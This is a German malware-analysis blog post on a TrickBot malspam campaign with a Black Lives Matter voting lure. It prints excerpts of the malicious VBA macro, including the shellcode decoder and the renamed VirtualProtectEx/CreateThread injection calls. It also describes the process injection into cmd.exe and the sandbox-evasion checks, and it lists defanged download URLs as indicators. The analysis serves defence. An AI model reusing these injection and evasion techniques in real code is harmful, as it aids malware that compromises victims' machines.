Zusammenfassung
Das Hornetsecurity Security Lab hat eine Malspam-Kampagne zur Verteilung von TrickBot [1] entdeckt, die die Bewegung Black Lives Matter ausnutzt, um Opfer zum Öffnen eines bösartigen Anhangs zu verleiten. Das Dokument zum Download von TrickBot injiziert als Erstes einen Shellcode in den Prozess WINWORD.EXE
ein. Über diesen Shellcode startet es dann einen cmd.exe
-Prozess, in den es wiederum mehr von demselben Shellcode injiziert. Dieser cmd.exe
-Prozess lädt anschließend die TrickBot-DLL herunter und führt sie über rundll32.exe
aus.
Hintergrund
Die ursprünglichen E-Mails stammen angeblich von State office
, Country authority
oder Country administration
:
Durch Betreffe wie Vote confidentially about "Black Lives Matter"
, Tell your government your opinion
, Give your opinion
und Speak out confidentially about "Black Lives Matter"
wird der Absender dazu aufgefordert, seine Meinung zu Black Lives Matter abzugeben.
Im Anhang befindet sich eine Datei mit dem Namen e-vote_form_0000.doc
, die den Eindruck verstärkt, dass die E-Mail ein offizielles Abstimmungsinstrument ist.
Allerdings wird in dem Dokument nur ein Bild angezeigt, das ein vorgetäuschtes Office-Update ankündigt und Anleitungen für Bearbeitung aktivieren und Inhalt aktivieren zeigt:
Falls die Anleitungen befolgt werden, wird das bösartige VBA-Makro im Dokument ausgeführt und es lädt die TrickBot-Malware herunter.
Fachliche Analyse
Das folgende Flussdiagramm zeigt die Anfangsphase der Infektionskette (bis zum Deployment der TrickBot-Malware):
Die folgende Analyse befasst sich mit jeder Phase dieser Kette.
VBA-Makro
Das VBA-Makro ist vor der Anzeige in Word geschützt:
Dieser „Schutz“ verhindert jedoch nur, dass das VBA-Makro ohne Passwort in Word angezeigt wird. Auf den Code des VBA-Makros kann weiterhin zugegriffen werden.
Das VBA-Makro zeigt als Erstes eine gefälschte Fehlermeldung an:
Private Sub Document_Open()
MsgBox "Error #80013123"
Das führt zu der folgenden Pop-up-Meldung:
Auf diese Weise soll der Benutzer vermutlich zur Interaktion bewegt werden, um eine Aufspürung durch die Sandbox zu verhindern. Es könnte auch ein Versuch sein, von dem fehlenden Dokument abzulenken. Ein Opfer könnte durch den Fehler zufriedengestellt werden und das Dokument für beschädigt halten.
Das Makro injiziert über VirtualProtectEx
und CreateThread
Shellcode in den Prozess WINWORD.EXE
ein. Zu diesem Zweck setzt der Code einen langen String zusammen:
uriSubscriber = "i-j-[...]-a-a-a-"
uriSubscriber = uriSubscriber & "i-l-[...]-a-a-"
uriSubscriber = uriSubscriber & "g-k-a-a-p-p-h-f-p-i-[...]-o-g-c-c-p-k-h-c-g-j-h-d"
Dieser String enthält den codierten Shellcode. Er wird anschließend mit der folgenden Funktion decodiert:
Dim f() As Byte
ReDim f(0 To Len(uriSubscriber) / 2 - 1) As Byte
Dim sSmart As Long, regOptimize As Long
For Each destEnd In Split(uriSubscriber, "-")
If sSmart Mod 2 Then
regOptimize = sSmart - 1
regOptimize = regOptimize / 2
f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) + f((sSmart - 1) / 2)
Else
regOptimize = sSmart / 2
f(regOptimize) = (CByte(Asc(destEnd)) - CByte(Asc("a"))) * 16
End If
sSmart = sSmart + 1
Next
Schließlich wird der decodierte Shellcode mit VirtualProtectEx
, das zuvor in extensionsComment
umbenannt wurde, als PAGE_EXECUTE_READWRITE
gesetzt. Daraufhin wird mit CreateThread
, das zuvor in sMail
umbenannt wurde, ein Thread mit der Adresse des Shellcodes als Startadresse gestartet:
Private Declare Function extensionsComment Lib "kernel32" Alias "VirtualProtectEx" ( _
iMail As Long, _
bConsole As Long, _
regFunction As Long, _
tablePosition As Long, _
colMail As Long) As Long
Private Declare Function sMail Lib "kernel32" Alias "CreateThread" ( _
textTimer As Long, _
uriMail As Long, _
m As Long, _
dateMembers As Long, _
textTimer0 As Long, _
lServer As Long) As Long
[...]
sConsole = destN_ - angleTexture + UBound(f)
q = extensionsComment(ByVal ipFunction, ByVal angleTexture, ByVal sConsole, ByVal PAGE_EXECUTE_READWRITE, ByVal VarPtr(extensionsComment0))
adsLogon = sMail(ByVal 0&, ByVal 0&, ByVal destN_, ByVal 2&, ByVal 0, ByVal 0&)
adsScr 5000
Der Shellcode kann am einfachsten extrahiert werden, indem CreateThread
in einem Debugger analyisiert wird.
Shellcode WINWORD.EXE
Der Shellcode, der im Prozess WINWORD.EXE
läuft, löst zuerst die Adressen von verschiedenen Bibliotheksfunktionen auf. Der Shellcode führt dann mit CreateProcessA
ein cmd.exe
mit dem Befehl pause
aus, sodass cmd.exe
angehalten wird:
Danach verwendet der Shellcode eine klassische Abfolge von OpenProcess
, VirtualAllocEx
, WriteProcessMemory
und CreateRemoteThread
, um Shellcode in den pausierten cmd.exe
-Prozess zu injizieren:
Der Prozess cmd.exe /c pause
wird vermutlich eingesetzt, um eine Aufspürung zu verhindern. Eine gängige Technik der Prozess-Injektion besteht darin, einen ausgesetzten (z. B. pausierten) Prozess zu schaffen, indem bei der Erstellung des Prozesses der Flag CREATE_SUSPENDED
gesetzt wird. Anschließend wird Code in den Prozess injiziert und der Prozess danach wieder aufgenommen. Bei dem hier beschriebenen TrickBot wird der Code stattdessen als Thread in den pausierten cmd.exe
injiziert.
Der injizierte Shellcode ist derselbe Shellcode, der in den Prozess WINWORD.EXE
injiziert wurde. Jedoch ist der Eintrittspunkt, der an CreateRemoteThread
übergeben wird, anders, wodurch die Ausführung des Shellcodes im cmd.exe
-Prozess anders abläuft.
Shellcode cmd.exe
Auch der Shellcode im cmd.exe
-Prozess löst die Adressen von verschiedenen Bibliotheksfunktionen auf. Darüber hinaus decodiert er die URLs zum Download von TrickBot.
Danach stellt der Shellcode die Anfragen GetSystemMetrics(SM_CXSCREEN)
und GetSystemMetrics(SM_CYSCREEN)
, um die Anzeigeauflösung zu erfragen. Daraufhin wird zweimal die Anfrage GetCursorPos
gestellt und dazwischen mit dem Befehl Sleep(0x1388)
zu einer Unterbrechung aufgefordert, wodurch es zu einer Verzögerung von 5 Sekunden kommt.
Das dient vermutlich dazu, die Cursor-Bewegungen zu überprüfen und hierdurch Sandboxen zu umgehen.
Die Daten werden dann wie folgt als HTTP-Query-String codiert: &scr=1280x1024&cur1=604x250&cur2=622x310
Ein ID-Query-String &id=00000000
und der obere System-Metriken-Query-String werden dann an eine URL angehängt, um die endgültige Download-URL zu bilden, die anschließend über InternetOpenUrlA
abgefragt wird:
Falls der Download erfolgreich ist, wird die heruntergeladene Datei auf C:\\Users\\<username>\\AppData\\Local\\system.rre
geschrieben und mit ShellExecuteA
über rundll32.exe %userprofile%/system.rre,Initialize
ausgeführt. Die Datei system.rre
ist die DLL des TrickBots.
Falls der Download nicht erfolgreich ist, ruht der Downloader und eine zweite Download-URL wird ausprobiert.
Schlussfolgerungen und Gegenmaßnahmen
Durch die doppelte Shellcode-Injizierung soll vermutlich eine Verhaltenserkennung verhindert werden, denn WINWORD.EXE
lädt normalerweise keine Dateien aus dem Internet herunter oder führt rundll32.exe
aus. So ein ungewöhnliches Verhalten wird daher leichter erkannt als das Aufrufen des Prozesses rundll32.exe
durch cmd.exe
. Die Abfrage der Anzeigeauflösung des Systems sowie die doppelte Abfrage der Cursor-Position dient vermutlich ebenfalls dazu, die TrickBot-DLL vor Sandbox-Systemen zu bewahren.
Spam and Malware Protection von Hornetsecurity, das die höchsten Erkennungsraten auf dem Markt hat, hat das bösartige TrickBot-Dokument mithilfe einer Erkennungssignatur bereits erkannt und blockiert.
Falls die grundlegenden Erkennungssignaturen die E-Mails nicht blockiert hätten, wäre auch Advanced Threat Protection (ATP) von Hornetsecurity nicht von den verschiedenen Anti-Sandboxing-Mechanismen gehindert gewesen. Die Simulation der menschlichen Interaktion der ATP Sandbox klickt die gefälschte Fehlermeldung erfolgreich weg, um das bösartige Dokument komplett auszuführen:
Die ATP Sandbox erkennt die von dem Dokument ausgehenden Prozesse ebenso wie die Prozess-Injektionen:
Die Simulation der menschlichen Interaktion sorgt außerdem dafür, dass die beiden abgefragten Cursor-Positionen, die als cur1
und cur2
an den TrickBot-Download-Server geschickt werden, voneinander abweichen:
So wird die ATP Sandbox von Hornetsecurity nicht durch die verschiedenen Anti-Sandboxing-Techniken getäuscht.
Quellen
Indicators of Compromise (IOCs)
Hashes
SHA256 | Dateiname | Beschreibung |
---|---|---|
d6a44f6460fab8c74628a3dc160b9b0f1c8b91b7d238b6b4c1f83b3b43a0463d |
e-vote_form_1967.doc |
TrickBot downloader document |
URLs
hxxps[:]//ppid.indramayukab.go[.]id/may.php?omz=1&pic=b&id=[0-9]{8}&scr=[0-9]{3,4}x[0-9]{3,4}&cur1=[0-9]{3,4}x[0-9]{3,4}&cur2=[0-9]{3,4}x[0-9]{3,4}
hxxps[:]//www.inspeclabeling[.]com/wp-content/themes/processing/may.php?omz=1&pic=b&id=[0-9]{8}&scr=[0-9]{3,4}x[0-9]{3,4}&cur1=[0-9]{3,4}x[0-9]{3,4}&cur2=[0-9]{3,4}x[0-9]{3,4}
DNS
ppid.indramayukab.go.id
www.inspeclabeling.com